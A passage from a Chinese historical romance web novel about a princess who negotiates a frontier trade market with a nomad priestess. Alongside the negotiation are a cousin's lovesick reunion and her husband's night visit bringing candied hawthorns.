赫尔林反应了一瞬,拿不准这时是听话还是假装听不懂大雍话,刚要看向弥荼请求一个明确的指令,一只纤细雪白的手掌便有力地钳住了侍卫的手腕。 弥荼转眸瞧向茅草亭中坐着的那道身影,以十分流利的大雍话扬声说到:“大雍喜欢说‘来者是客’,眼下这便是道客之道吗?” 亭中人侧身而坐,茅草亭一角遮住了她的半身,只能见她穿着一身烟霞橙竖领斜襟绫衫,配着靛青蓝棉布间裙,轻灵绮丽如晨光一般,并无明晃晃的金玉堆砌,却可见经年累 月蕴养出的从容气度。 她抬腕轻轻一挥,腕间一对绞丝银镯轻轻相撞,发出细碎清音,一同响起的还有她清润的嗓音,“无妨,请圣女上座吧。” “是,郡主。” 侍卫向后撤了一步,弥荼轻哼一声,甩开他的手腕,大步走向茅草亭。 亭中端坐的人一动未动,只在她走近时抬眼瞧来,冲她露出一点笑来,伸手指了指面前的座位,“圣女请坐。” 弥荼也没动,她站在封眠面前,以俯视的姿势将她上下扫了一遍,目光从她仅簪了一支素银嵌碧玺簪的小盘髻,一直落到她裙裾下露出的一双青布缀珠绣鞋上。 鞋尖沾着泥土,显然走了不少路。 皇家贵女置身于乡野之间,打扮得毫不张扬,也并没有独坐高台,反而看起来似乎亲自踏足过黄土,倒像个认真做事的样子。 封眠同样在打量面前的圣女,明艳的面容上带着张扬的傲气,确是火一般的女子。 方才封眠故意让侍卫上前收缴武器,只是想试一试这苍狼部圣女的性子。 她第一时间出手擒住侍卫,说明此人并不好惹,对大雍也并不十分信任。但封眠退后一步后,她也很快给了个面子,说明并不是冲动行事不记后果的粗莽之人。 可以坐下来慢慢谈。 封眠慢条斯理地挽袖倒了杯茶,推到对面,“圣女冒着被阿尔纳部记恨的风险赶来,总不是想在此处枯站吧” 弥荼眸光一闪,这才掀袍坐下。她解了腰间的长鞭,“啪”地扣在桌上,反言讥诮:“郡主殿下知道的事情倒是不少,想必也知道你若想搞些小动作,我依稀之内便可拧断你的头颅。” 封眠神色不变,甚至勾了勾唇角,露出些许无奈的笑意,“我与圣女初次见面,又在大雍境内,圣女不信任我,自是正常的。” “但这亭子里现下只有你我,我不会武,圣女大可不必如此防备。” 封眠说着,摊开双掌给弥荼看,掌心柔嫩,并无习武之人常有的茧子,完全是一双闺阁贵女的手。 茅草亭内确实只有她们二人相对而坐,亭外的侍卫尚有几步之遥,与赫尔林几人站在一处,不住警惕地悄悄盯着彼此的动作。 弥荼紧绷的腰背略松了松,手上将长鞭推向封眠的方向,松开,“郡主都这么表示了,那我也不为难你。你我谈完之前,这鞭子归你了。” “圣女有什么条件,请讲吧。”封眠没去拿鞭子,只开门见山地问道。她看出来这位苍狼部圣女是个有一说一的人,她让一步,她便也退一步,并不会步步紧逼,弯弯绕绕的一些话便也没必要铺垫了。 弥荼果然上来便将底牌亮了出来:“明日,我可以带你邀请的其余六部来参加互市。但要你拿粮食和铁器来换。” “粮食可以换,铁器也能谈。” 听封眠这般说,弥荼只高兴了一瞬便狐疑地瞧她,这么简单。 “但我要北夷三座边城。”封眠淡淡道。 “砰”,弥荼一拍桌,冷艳的茶色眼眸瞪得溜圆,“你是不是疯了?” 封眠:“此话同样要送予圣女。” “圣女不会不知粮食和铁器的重要性吧?粮食是民之根本,北疆本就缺粮,岂能从百姓口中夺食与你北夷交易?” “铁器更是兵器的基础,箭头、刀剑、铠甲、马镫、马鞍……无不需要铁器制作。来日你我之间兵戎相见,岂不是拿我亲手送出的武器来杀我自己?” “只要你三座城池,我都已是说少了。” 两人目光相触,一冷硬,一平和,终究是弥荼先低了头,“那你能交易什么?” “布匹绢帛,茶叶瓷器,还有盐。” 听到“盐”,弥荼眉梢微动。 封眠继续道:“圣女帮我说服其他部族前来参加互市,再帮我多寻一些稀奇的种子来,这些东西我们都可以交易。” “种子?”弥荼皱眉,“只说服其他人来参加互市还不够,你还要让我替你干活?” 封眠莞然一笑,“我若能从这些种子中发现可供种植食用的作物,待丰收之时,必定与苍狼部交易。” 可以交易的食物? 不得不说,虽然这句话中所说的一切都太过虚无缥缈了,弥荼还是有些心动了。她本来就是打算带人参加明日互市的,如今能多得一个日后交易粮食的机会,也没什么损失。 不过…… “你……堂堂郡主,还懂得种地?” 封眠一本正经地胡说八道:“我们大雍土地辽阔,人人都会种地。正如你们北夷人人都会骑马一样。” 弥荼半信半疑,也没再追问,只道:“你先拟个契约出来,日后你若反悔了,我苍狼部的铁骑定会踏平黑石沟。” “一诺千金。”封眠说着拿出早已准备好的契书,在桌上铺开,又将笔墨一一摆好,“请吧。” 弥荼:…… 大雍然果然都狡诈,她早就准备好了! 弥荼开始怀疑,这些种子才是她真正想要的东西。 但事已至此,她也不能临门毁约,毕竟她也是堂堂正正一诺千金的苍狼部圣女! 弥荼冷着脸签完了契书,将自己那份收入怀中,拿上鞭子扭头便准备走,忽然瞧见院门口飞一般扑进来一个人影。 “小表妹!九哥我来助你啦!”褚景淇甩开拦路的侍卫,“啧,你们这几个不长眼的,我与小表妹关系好似一人,她还能拦我吗!让开让开,都让开!” 弥荼飞快地转身坐下,背对院门,茶色眼眸呆滞了一瞬。 封眠奇怪地瞧她一眼,褚景淇已跑到了近前,欢欢喜喜地邀功,“小表妹,我在外头这些时日连开八家汤饼作坊,听闻你要开互市,我便担心这些胆小的商户帮不上你的忙,便从各地揪了几家富户来给你充场面!” “如何,九哥待你好吧!” 褚景淇一脸骄傲地扬了扬下巴,封眠失笑,连连点头,像模像样地抱拳一礼,“九哥待我真好,若非九哥援手,这互市可难开了呢。多谢九哥!” 褚景淇满意了,兀自上前到桌边给自己倒了杯茶,咕嘟咕嘟饮尽了,“为了赶上这互市,我可是一日都没敢歇息,快马加鞭回来的,真真是累死我了。” “对了,外头风乙说你在见什么苍狼部的圣女,人呢?走了?” 褚景淇说着扭头四望,封眠想起方才弥荼明显躲着人的状态,一时不知该不该开口。 这当口,褚景淇已经瞧见了背身而坐的弥荼,半点不认生地上前打招呼,“这位便是苍狼部圣女吧?圣女,在下褚景淇……” 他往弥荼右侧走,弥荼往左侧了侧身子,他顿了下,往弥荼左侧饶,弥荼往右侧了侧身子,褚景淇未说完的话音都在喉间哽住了。 这圣女怎么好似躲着他呢? 弥荼背对着褚景淇起身,压低了声音道:“明日我会准时带人来参加互市,族中有事,先走了。” 她就这么看也不看封眠二人,抬腿便往外走。 褚景淇听了她的声音愣了片刻,原地弹了出去,一把拽住了弥荼的一条胳膊,大声嚎道:“涂宓!” 目睹一切的封眠:?谁? “我找你找的好苦啊——” 褚景淇哭嚎的尾音,被打更人敲击的梆子声搅散 烛照通明的屋内,封眠坐在桌前,有些头疼地揉着额角,耳边仿佛还回响着褚景淇的哭嚎声。 白日里褚景淇拽着弥荼一通哭诉,她才搞清楚,弥荼竟就是当初烧粮草事件中,化名涂宓“骗了他感情”的那个少女。 向来做事都不大着调的褚景淇自那之后一直没放弃找她,只是她早已回了苍狼部,大雍境内哪里还有她的踪迹? 今日他见涂宓是苍狼部圣女弥荼,更确凿了自己被“欺骗感情”的事实,一颗少男心碎成了渣,哭的是真伤心。最后是弥荼忍无可忍,将人打晕,才恢复了清净。 弥荼将阿尔纳部指引她烧粮草的事交代给封眠,表示愿意在互市中让利赔偿。 为了第二日的互 市,封眠也只能暂且应了。 只是,等褚景淇醒了,他们两人之间的事总还要有一个了结。 封眠一想到此就头痛,简直想修书一封给秦王舅舅。 “笃笃。” 窗棂忽然被敲响。 封眠顿时警觉看向紧闭的窗户,一手悄悄探入袖中握住了匕首,这里是二层,谁在敲窗? “是我,百里浔舟。”—— 作者有话说:今日斥巨资升级了中级vip内[害羞]回复评论应该不会再被审核啦! 第58章 “当啷”一声,封眠将握着的匕首丢到桌上,提起裙摆三两步跑到窗边,小心地支开窗棂,便看到攀在窗外的人冲她粲然一笑。 浅淡如水的月光洒在他的身上,层层波光勾勒出优美的线条,明暗合宜的光影将漂亮的眉眼描画得更为生动。 封眠张了张唇,缓了片刻才找回自己的声音,压低了嗓音问道:“你怎么来了?” 夜半翻窗,好似浮荡的少年郎悄然赴一场密会一般。 “我能进去吗?”百里浔舟不答反问,因接下来要说的话而悄悄红了耳根,“这窗口好高。” 他的目光飘忽一阵才敢落在封眠的身上,她披着外衫,柔顺的黑发散落在肩头,屋内的烛火与月光交相辉映,一时闪了眼。 守在楼下并假装没有发现自家世子的疾羽营士卒扑棱扑棱耳朵,有点不敢相信自己听见了什么,丈尺高的城墙都敢翻,不过两层小楼的窗口便喊高了? 他默默地把自己往角落里缩了缩,捂住耳朵不敢再听百里浔舟又说了什么,生怕破坏自家世子在心中的形象。 二楼,无需百里浔舟再多言,封眠忙闪身让开位置,看着百里浔舟单手一撑窗框便跳了进来,动作利落漂亮,劲瘦的腰身在眼前一闪而过。 他带着夜风和青草的气息,将逼仄的窗角挤得满满当当。 封眠先是向后仰了仰身子,发觉根本拉不开多少距离,才后知后觉地向一旁挪步,往桌边走,给百里浔舟倒了一杯水递过去。 “你来便来了,怎么还翻窗户?” 又不是没有正门。 “我只待一会儿便走了,不想太兴师动众。”百里浔舟接过茶盏一饮而尽,小心翼翼地从身后拿出一个长条状的油纸包搁到桌上,推到封眠面前,“给你的。” 似是怕油纸包散开,上面还用麻绳进行了一个五花大绑。封眠解麻绳时,摸到胖鼓鼓的球状物体和细细的小木棍,便隐约猜到了这是什么。 待油纸包一层层打开,露出里面红彤彤的糖葫芦时,封眠还是有些不敢置信。 “你半夜跑过来翻窗户,是为了给我送糖葫芦?” 许是奔波太久,糖衣已然有些化了,糖水黏在油纸包上,印下汗水一般的痕迹。 “待天再热几分,便吃不到了。”百里浔舟急忙道,封眠垂头看着糖葫芦,他看不清她的神色,一时拿不准她是喜欢还是不喜欢,难得有些紧张,讷讷补充道,“你上次,不是想吃吗?” 上次,是从城外见完柳寄雪后,回王府的路上。封眠瞧见外头的糖葫芦小贩,呢喃一句转移了话题。 她盯着多瞧了一会儿,他当时看在眼里,正想喊停马车时,她转而谈起了旁的事,便耽搁了过去。 事后他悄悄派山衣去和流萤打听,得知封眠在很小的时候才吃过糖葫芦,后来鲜少出宫,嘉裕帝又将她养得精细,从不许吃外头的吃食,便几乎没再吃过了。 百里浔舟想着,他还时常会怀念年幼时吃过的民间小吃的味道,那她应是想要再尝一尝的。 只是开互市的事情传到阿尔纳部的耳朵里后,他们变得格外躁动,百里浔舟不得不分出更多的精力去解决阿尔纳部的骚扰。 今日清晨,他将一名阿尔纳部大将的脑袋丢进了他们的营帐,威慑他们短时间内不敢再妄动,带队回云中郡时,瞧见街边小贩在卖糖葫芦,猛然想起黑石沟可没有卖糖葫芦的。 一时头脑发热,便离队买了糖葫芦来见她。 “若是不喜欢……” “喜欢啊。”封眠捏起糖葫芦尾段的签子,一口咬掉了半颗山楂,融化的糖衣压不住山楂的酸,她被酸得眉眼皱到一处,眼底泛起一点水光,仍捧场道,“很好吃,谢谢你。” 百里浔舟的眉眼跟着她一起皱成了一团,牙根仿佛也泛起了一股酸意,“看起来不像是好吃的样子啊,算了……” 他伸手想将糖葫芦拿过来,被封眠闪身躲开。 她又吭哧吭哧咬了一口,“跟我小时候吃过的那根糖葫芦,味道一模一样,怎么不好吃了?” 小时候吃糖葫芦的记忆,依然源自于父亲带她出宫玩耍的那三日,仿佛是为了尽可能弥补多年来没有陪伴在她身边的遗憾,父亲陪着她吃了许多许多从未品尝过的民间小吃。 那时候一枚裹着糖衣的山楂果,就能有她半个巴掌大了,她抱着舔光了糖衣,满手满脸都黏糊糊的。父亲笑她是小花猫,拿手帕沾了水,一点一点替她擦干净。 她当时觉得糖葫芦是最好吃的小点心。 百里浔舟看她小仓鼠一般努力进食的模样,心口处酸酸软软的,他坐到封眠身侧,提议道:“我帮你吃几颗吧?夜里吃多了果子不好。” 话音刚落,糖葫芦便被横在他面前,封眠迫不及待地:“好啊。” 百里浔舟失笑,刚咬下一枚果子,门外忽然有窸窸窣窣声靠近。他警惕地凝目看向门边。 门被轻轻地敲响,褚景淇垂头丧气的声音从门缝里钻进来,“小表妹?你还没睡吧?” 百里浔舟:…… 他困惑地看向封眠,嘴巴被山楂果堵住,用眼神传递着“他怎么在这儿?这么晚了他过来干什么?” 封眠:“……一时半会说不清楚……” 外头褚景淇似乎将脑袋抵在了门缝,嗓音低低的,很是失落:“我能进去吗?唉,不进去也行,我在这里与你说说话吧,我心里堵得很,你说她到底是怎么想的呢……” 担心他满腔心事吵到这一楼的人,封眠忙将百里浔舟推到了床边缝隙藏好,悄声叮嘱:“你在这里躲一下,我让他进来说几句话!” 百里浔舟捏着手中被封眠塞过来的糖葫芦,听见房门被打开的声音,才后知后觉地困惑:我躲什么?我们不是正经夫妻吗? 褚景淇拖沓着步子跟封眠进了屋,唉声叹气地在桌旁坐下,一番饱含着个人情感又颠三倒四的倾诉,让躲在床侧的百里浔舟终于明白是怎么回事了。 他十分诧异,褚景淇竟还没放弃找那个叫涂宓的女孩?这不靠谱的小侯爷不会是动了真心吧? “你对她动了真心了?”封眠看褚景淇的神色当真是前所未有的伤心。 听闻这话,褚景淇顿时激动地坐直了,“自然是真心的!” 褚景淇开始细数自己真心的证据:“起初墨松他们说,过一段时日不见,我就会把她忘了,可她失踪这些天,我不但没忘了她,反而每日都愈发想念她。” “我每日睁眼闭眼都会想到她,不知她身在何方,平安与否,饿不饿冷不冷热不热。” “看见她爱吃的酥糖,我就想买下来给她留着。看见适合她的绸缎,我就想制成衣裙送给她……” 褚景淇数得认真,封眠听得认真,床侧的百里浔舟听得出了神,他感觉自己好像在照镜子,见不到封眠的那几日,他也是日日惦念。 融化的糖衣顺着竹签滑到手上,百里浔舟在心中默默补充着:看 见她可能想吃的糖葫芦,他也立刻买了,巴巴地一路送过来,其实更多是想给自己一个来见她的理由。 心底一簇簇零落的小火苗仿佛终于烧穿了什么壁垒,轰隆一下汇成了一团填满心间的火焰。 他终于确认,他也是真心的,真心喜欢她。 褚景淇尚在兀自喋喋不休着,“看见城中的粮草库,我就想着若粮草真是她烧的,你们能将她抓回来也好,我就能见一见她了。” “小表妹,以往我从未这样过……” 他的眉眼忽而飞扬,忽而耷拉下去,情绪起伏之大,真令封眠叹为观止。最后他仿佛没招了一般,睁着双茫然的眼向封眠求助,“小表妹,你说我该怎么办?” 封眠:…… 向她求助做什么?她难道就知道该怎么办吗? 褚景淇好像也知道自己问的不对,改了一个更加具体的问题,“你们都是女孩子,你帮我瞧瞧,她喜欢我吗?” 想到白日里弥荼那毫不留情一掌将他劈晕的劲头,封眠想摇头,对上褚景淇破碎的目光又不忍地顿住了,决定迂回一些暗示,“我听说苍狼部对情感都是很忠贞的,择一而终,至死不渝。” “你的声名一直都比较地……浪荡……”封眠谨慎地挑选着用词,“圣女对你的印象么,肯定不会太好……” “我只是喜欢到处玩,跟人交朋友,我做人不浪荡的!”褚景淇急急忙忙解释,“我母亲那个人你是知道的,她决不许我在外面胡来。” “在家中也不行!我屋里既没有侍妾,也没有通房丫头。” “母妃教育过我,说忠贞是一名男子最好的彩礼。我向来都很听母亲的话!” 封眠呆呆地“喔”了一声,点点头,“那、那很好了。” 床侧的百里浔舟一手捏着糖葫芦,另一手横在掌下接着滴落的糖水,心下默默想:最好的彩礼,那我也是有的。 既然说到了王妃,封眠便自然地提出另一个劝退的理由,“舅母不是正在替你相看吗?听说人选已从三十人筛到最后十人了,皆是知书达理温文尔雅的女子,恐怕会不喜圣女这般性子热烈纸人。” “母妃看中的自然也都是极好的女子,可是我又不喜欢。我就喜欢涂宓……弥荼这样的姑娘。我回府与母妃说,她定会依我。” “但北夷与大雍……” 这次不等封眠说完,褚景淇便抢先道:“那皇伯伯定会支持我,代表大雍,去苍狼部和亲!” 封眠张张唇,一时说不出话来,如今苍狼部来参与互市,或许很快便会与大雍结为友邦,褚景淇若自愿去和亲,不说其他人什么反应,宫里的几位公主怕是都要乐出声了。 “我懂了,现下我就修书让母妃不必再替我相看,请她同意我去追求弥荼。明日我再去找弥荼,与她说清楚我的心意,看看她是怎么想的!” 褚景淇握住封眠的手晃了晃,一扫刚进屋时的颓靡,笑得见牙不见眼,“多谢你小表妹,替我解了心头一大惑!” 褚景淇欢欢喜喜地走了,贴心地替封眠带上了门。 封眠一头雾水:她帮什么忙了? 第59章 “他当真要去给秦王妃传信?” 一声疑问唤回了封眠的神思,她才想起来屋里头还藏了个人,忙回身去看,便见百里浔舟颇有些狼狈地小跑出来,两只手上都被融化的糖渍沾满了。 “呀,当心沾到衣裳,快放到盘子里。”封眠将桌上摆盘的香橼取下来,拿着盘子去接百里浔舟手中的糖葫芦。 糖衣已经化尽了,剩下的三枚果子油润润地反着光,瞧着便没了食欲。封眠还是没舍得立即扔掉,连着盘子一起搁回了桌子上。 “你先坐下,我拿水来帮你擦一擦。” 北疆天气干燥,夜里雾柳打来了一盆水搁在屋里头润一润,此时倒方便百里浔舟了。 百里浔舟两手都沾了糖渍,实在没法帮忙,坐在桌旁看着封眠忙碌,目光一错不错地追着她。 他嘴上问着褚景淇的事情,实则眼里心中只装着一个封眠,不过想与她多说几句话罢了。 装满水的铜盆被封眠挪到了桌上,百里浔舟迟疑着是否要将两只手放进盆中洗,便封眠轻轻托住了悬着的手腕,将他的右手拉到了她的面前。 “你现下若将手放进去,这一盆清水都要变成糖水,可就彻底洗不干净了。我来吧。” 封眠说着,自袖间抽出一张手帕,沾了清水,细细替百里浔舟擦着手指。 他的手腕处的骨骼轮廓清晰利落,手指极为修长,骨节分明,像一支劲瘦笔直的竹,手背皮肤透出淡青色血管,指尖和掌心有着习武留下的茧,显得极为有力量感。 封眠轻轻擦着擦着,便不自觉看入了神。 沾了水的冰凉绸缎细细密密地擦过指间皮肤,传来些微痒意,指间温度不降反升。 百里浔舟克制着蜷起手指的欲望,瞧见她一张手帕擦过糖渍的地方便不再用,很快便又换了一张干净的手帕继续替他擦,不由有些不大好意思。 “抱歉,又弄脏了你的手帕。” 上次他还昧下了她一张手帕没有还给她,也不知道她还记不记得。 “小事而已,我最不缺的便是手帕了,不必放在心上。”封眠头也未抬。 喔,那想来她是记不得了。 一点点的失落,在望着她专注给自己清洁手指的模样时便烟消云散了。 她垂着头,百里浔舟便光明正大地盯着她,光洁的额头也好看,鬓角的碎发也灵动,纤长卷翘的睫毛轻眨一下便好似有只蝴蝶在他心口扑棱扑棱扇着翅膀。 想通他的真心落在何处后,眼中所见的一切好似都变得不同起来。 封眠帮他擦净了一只手,换另一只手时,才想起他之前问了句褚景淇的事,开口打破了两人之间的宁静,“九哥虽行事时常有些跳脱,但说过的事从来不作假,他既说要给舅母写信,现下定在屋中奋笔疾书。” “舅母向来疼爱他,应当会应允了他。但我觉着……”封眠幽幽叹一口气,“那位圣女好像不太喜欢他,九哥这回怕是要栽跟头了。” 一句话,令百里浔舟微微翘起的唇角落了下去。 他想起了封眠之前说过的理想夫君的条件。 第一条温润如玉便已将他拒之门外,如何还能高兴得起来? 百里浔舟默然半晌,闷闷问道:“如果小侯爷用情至深,不愿放弃,可有打动圣女的机会?” “我又不知圣女喜欢什么样的男子,哪里说得准呀。” “喜欢的标准便一定不会变吗?”百里浔舟试探着,“比如以前喜欢读书人那般的君子,后来相处之下,觉得习武之人也不错呢?” “或许吧,标准又不是绝对的,若遇到喜欢的人,哪里还会去一一对应这些条条框框呀。”封眠还是认真思索了一下,“其实九哥性情不坏,待人也赤诚,更愿意跟着圣女回到苍狼部去,也说不准圣女觉得他有趣,会考虑他一下呢。” 对,说不准会考虑他一下呢。 百里浔舟半死不活的心又砰砰跳了起来。 一缕发自封眠的肩头滑落,眼见要沾上擦过糖渍的手帕,百里浔舟匆忙伸出空出的右手,替她将秀发撩回耳后。 恰好封眠察觉动静抬头,他的手指便轻轻蹭过了封眠半边耳廓,略带薄茧的指尖触感分明,封眠纤薄如玉的耳垂登时便红了。 她埋首粗略擦完最后一根手指,正襟危坐便开始赶人,“很晚了,我睡了,你……” 话到嘴边她又迟疑住了,百里浔舟赶了一整日的路,如此深夜不歇一歇,再赶路回去,好似有些太…… “明日营中还有军务,我是该回去了。” 百里浔舟自觉起身,他微微倾身,身影遮住了跃动的烛光,背光的神色显得格外温柔,“明日开市第一日,早些休息吧。小侯爷的事,他想必自己心中有数,你就莫要为他操心了。” “若担心他气跑了层浪不圣女,你变让疾羽营的卫长将他绑了,就说是我吩咐的。” “莫要太累着自己了。” 发顶微微一重,封眠感觉百里浔舟像是摸小猫一样轻轻摸过他的发顶,只一下便收了手,阔步行到窗边,翻身离开前最后 再深深看了她一眼,“记得关好窗。” 下一瞬他便轻盈跃下,袍角掠过敞开的窗,划过一道凌厉的弧线。 封眠静静坐了片刻,似乎是等着他走远了,才轻手轻脚地去关了窗,仿佛生怕被谁听见动静,跑来问她怎么了。 她要如何说百里浔舟半夜突然闪现,只是为了来给她送一串糖葫芦的事呢? 然而雁过留痕,有些事情总是藏不太住。 翌日一早,流萤和雾柳推门进来,便瞧见了昨夜百里浔舟留下的“赃物”。 “哪里来的糖葫芦?”流萤一嗓子嚷开,困惑地看看雾柳,两人又一起看向封眠。 封眠认真研究手上擦脸的巾帕,坚决不与她们对视。 “郡主……”流萤还待再问,被雾柳拽了下衣角,眼神制止。 雾柳接过话,“郡主,顾大人遣人来问,您是与他们同去,还是稍晚些再去。” “同去吧,毕竟是开始第一天,在这里我也坐不住。” 互市入口处,已满满当当排起了两条长队。 左侧是大雍的商贾,他们一面排着队核查文书,一面不住地越过中间充作隔离带的疾羽营士卒往右边的队伍瞧,那里排着如约而来的苍狼部等六个部族。 “哎,他们身上穿的皮毛瞧着挺不错的,淘换两件好皮毛,再找个好绣娘缝件大氅,在盛京绝对被贵人们抢着要。” “才入夏,你这都想着做冬日的生意了。” “我闻见香料味儿了,东华楼的大厨托我给他寻摸些特殊的香料,今日看来都能办齐了!这互市来得值啊。” “快瞧快瞧,那几匹当真神骏威风啊,这得值……” “你就别想了,战马那都是官府交易的东西,眼馋眼馋算了。” 大雍商贾们眼里全是对金钱货物的渴望,被盯着的北夷部族却不知道,小少年阿丹不大自在地偏过身去,往赫尔林身后躲。 “他们是不是偷偷嘲笑我们呢?阿叔阿婶们都说,大雍人向来看不起咱们,咱们来他们的地盘做生意,那不是上赶着挨欺负吗?” 赫尔林:“圣女大人做的决定你也不信?” 阿丹搓搓衣角,“我信圣女大人,不信大雍人。” 阿丹身后排着一位风语部的老人,他满面沟壑纵横,瞧着年纪已经很大了,却还是牵着骆驼推着车来了,车上坐着他四岁的外孙,小孩儿正手脚并用地压着周身的货物,警惕的目光四下扫射着,不让任何货物有掉落的风险。 许是瞧阿丹年纪不大好说话,他微微倾身,露出一个讨好的笑,用北夷语问他:“小阿郎,我不会说大雍的官话,等会能不能跟你们挨着,拜托你们帮我翻译翻译,我给你付银钱!” 阿丹一瞧他拉着骆驼,推车上又堆着些石块、盐块和手工织毯,就知道他是来自风语部的。风语部生活的地方多戈壁,日常比其他部族更贫苦一些,因为太弱小,族人常会被其他大部族掳走做奴隶。 阿丹忙摆了摆手,回道:“没事,阿爷您就与我一起吧,说一两句话而已,用不着银钱。而且……” 他指着中央广场几个官员的方向说道:“那里有大雍的通事,额迷你可以帮忙翻译,阿爷要是想卖什么大件,找他们就行。” 老人顺着他指的方向看去,便瞧见中央广场上竖着几杆旗子,旗子上面用北夷语和大雍语分别写了一遍“通事翻译部”。 “当官的不会骗人吧?”老人有些局促不安,他见过其他部族的贵族和官员,再多瞧一眼,落下的便是鞭子了。 阿丹如何能说他也不信呢?圣女大人知道了要打他的,于是他道:“不会,您要是不放心,或是那些人态度不好,就还到这入口来,我们苍狼部的圣女大人今日就在此处看着,她最是公正无私了,会跟大雍的官员一起给您做主的!” 这都是昨日圣女大人回去后逐一耳提面命让他记熟了的,毕竟此番是苍狼部做了牵头人,总要确保大家的利益才是。 阿丹顺溜地背完了几条圣女大人交代的互市注意要点,顺嘴又夸了圣女大人一句,自觉颇为骄傲。 老人点点头,安了心,摸摸推车上外孙光溜溜的脑袋瓜,哄道:“小哈丹,阿爷赚了银钱,给你买点心吃。大雍的点心又香又甜又软。” 哈丹仰着小脑袋,严肃的小脸冲阿爷挤出一个笑:“阿爷也吃。” “真乖。” 封眠的马车停在入口不远处,掀起车帘瞧着众人有条不紊地入内。 “铛!铛!铛!” 伴随着连续三声洪亮的铜锣声,便正式开市了—— 作者有话说:前两天说多写一点感谢大家,今天总算是多写出来啦!祝开心[亲亲] 第60章 起初集市内并没有热络的交易起来,大雍和北夷双方的商贾都不大习惯与言行相貌都与自己如此迥异的异族人交流,几十年积累的隔阂也并非此时聚在同一场所便自动烟消云散了。 一座中央广场如银河一般将两侧分得泾渭分明。 陆鸣竹瞧得着急,正打算做个“出头鸟”,当先从大雍商区往北夷商区去,一头小羊羔突然从北夷商区撒蹄狂奔,一头撞上了陆鸣竹的膝盖。 他闷哼一声跌坐在地,两侧的侍卫上前将小羊羔摁住了,附近的大雍商贾凑上来看,七嘴八舌地议论起来。 “这小羊羔瞧着真结实,定是良种啊!” “皮毛又密又亮,蹄子也结实,北夷这地方养的牲畜就是好!” 小羊羔的主人叽里呱啦地嚷着北夷语就过来了,方才称赞小羊羔的几名商人立即将人团团围住,手脚比划着与他问价。 广场中央的通事见状忙上前帮忙翻译,许多插不进话的商人主动往北夷商区走去,两泊沉静的湖水中间高竖的堤坝被一头小羊羔闷头撞翻,终于彼此流动了起来。 被汹涌起来的人潮遗忘的陆鸣竹呆了片刻,又无奈又好笑地撑着地面爬了起来。 顾春温走过来扶了他一把,笑道:“郡主说你祸兮福之所倚倒真是没说错,多亏你被小羊撞了这一下,集市方才热闹了一起。” “若是这般有用,便是再被牛、马多撞几次也值了。” 陆鸣竹正玩笑着,斜刺里一北夷人赶着几头牛大喇喇闯了进来。顾春温忙伸手将陆鸣竹拽开脸部,牛角擦着陆鸣竹的鼻尖走了过去。 顾春温无奈:“陆兄,下次说话时也当心些。” 陆鸣竹死死地抿紧了唇,左右望了望,问道“郡主呢?” “喏。”顾春温抬手一指。 牛群穿过视野,露出后面小摊前正兴致勃勃与北夷商人比划着交流的封眠。 她今日穿了件豆绿色棉布窄袖衫,下身是一条深绿棉布百褶长裙,梳了个简单的盘髻,只插一根普通的木簪,完全是寻常百姓的装扮。 身旁的流萤和雾柳也换了身装扮,跟在她身后像一家三姐妹,周围人谁都没发现她竟然是郡主。 “小娘子,您帮我跟他说,这几块挂毯一起,五两白银,不能再多了。”须发皆白的年长商贾拉着封眠,让她把自己的话“翻译”给对面的北夷商贩。 交易的人变得多了起来,通事忙不过来,排不上队的一些年纪大的商贾病急乱投医,觉得年轻人必然懂得多一些,开始随手抓路过的年轻人替自己与北夷商贩交流。 封眠本是随意逛一逛,寻一些可以改进的问题,但她生得年轻,气质又突出,便也就这么被抓了壮丁。 她正将年长商贾的意思打手势告知对面的北夷商贩,一声怒气冲冲的喊声由远及近—— “祖父!” 一名十来岁的少年像头暴躁的小牛犊一般撞了过来,将年长商贾拉着退了好几步,警惕地瞄着对面的北夷商贩。 “你不是说来这里只跟大雍的商人做生意吗,和一个北夷人在这里废什么话!” “难得有这么好的机会,大家都上,偏你往后躲着,这钱不相当于白白送给别人了吗?” “那也不能和他们做交易!为了赚几两银子,您怎么能就把姑姑一家的仇恨都放下了!”少年胸膛剧烈起伏着,通红的眼眶愤怒地瞪着对面,咬牙含恨,“这些人都是杀人凶手!” 年长商贾一时哑然, 对面的北夷商贩正是风语部的那名老人,他有些手足无措,惶惑地看了看封眠。 躲在他身后的小哈丹探出半个脑袋,小脸严肃地绷着,磕磕绊绊地用大雍话说:“没有,阿爷,没,杀,不杀!” 封眠和老人都惊讶地看向小哈丹,没想到他竟会说大雍话,还说得是这么一句。 或许是族中有长辈闲话时聊起过类似的字眼,让他学了去。 这种情形,封眠几人也设想过许多遍,所以在两侧都安排了许多人巡视,不做劝导,只做解释。 “今日来参加互市的这七个部族,都未曾袭掠过边民。”封眠温柔地看向又愤怒又伤心的少年人,轻声陈述,“他们也只是一些为生计奔波的普通人。” 少年瞪向她,“你是想劝我放下仇恨吗?” “我没有资格劝你,只是想与你说一句,今日互市交易,便是为了给这七个北夷部族一条活路,让他们不必拿起刀箭,投靠意图再次挑起大雍与北夷战争的部族。” “若做几单生意,便能阻止一场战争,多活几条性命,你觉得好不好?” 少年沉默不语,双拳攥紧又松开。 年长商贾拍了一下他的脑袋,故意道:“若让你在这里把这几个手无缚鸡之力的北夷老人和小孩都杀了,为你姑姑报仇,你下得去手吗?” 少年气得哼一声甩过头去,含在眼眶中的一滴泪珠此时才被甩落。他忽觉手上一热,低头便瞧见方才还躲在阿爷身后的小哈丹跑到了他脚边,正垫着脚够他的手。 “你干什么?”他语气不耐烦,却俯下身扶住了身子不停晃悠的小不点。 哈丹将攥紧的拳头砸进他的掌心,小手一张,丢出一颗一直握着舍不得吃的糖果。 少年呆呆看着掌心那颗被攥的皱巴巴的糖,半晌没有动作。 哈丹急得两只手抱住他的手掌,帮他把手掌握合,再往他身边推,同时不忘瞧瞧封眠,啊呜张嘴做出吃糖的动作,让她替自己翻译。 封眠忍笑,“他请你吃糖,让你别哭了。” “谁哭了。”少年不悦地嘀咕,抹了把眼睛,粗声粗气地跟自己祖父说,“快点,你毯子还买不买了?” 年长商贾哼一声笑了,点他额头,“没大没小。” 封眠微微松一口气,自然地退开两步,让他们自行讨价还价。比她更年轻的少年出现了,应当是用不上她这个“翻译”了。 她一扭头,险些撞上不知何时站在这里的顾春温和陆鸣竹。 “你们在这儿干什么?” “郡主在此处转了半晌,接下来应当要北夷商区了,我们等着郡主一同去。”顾春温说道,陆鸣竹跟着点头。 虽有流萤、雾柳跟着,周遭还有许多侍卫,他们还是放心不下。 封眠确实是这么想的,她点头应了,正带着陡然壮大起来的队伍往北夷商区走,便听见前方传来争吵。 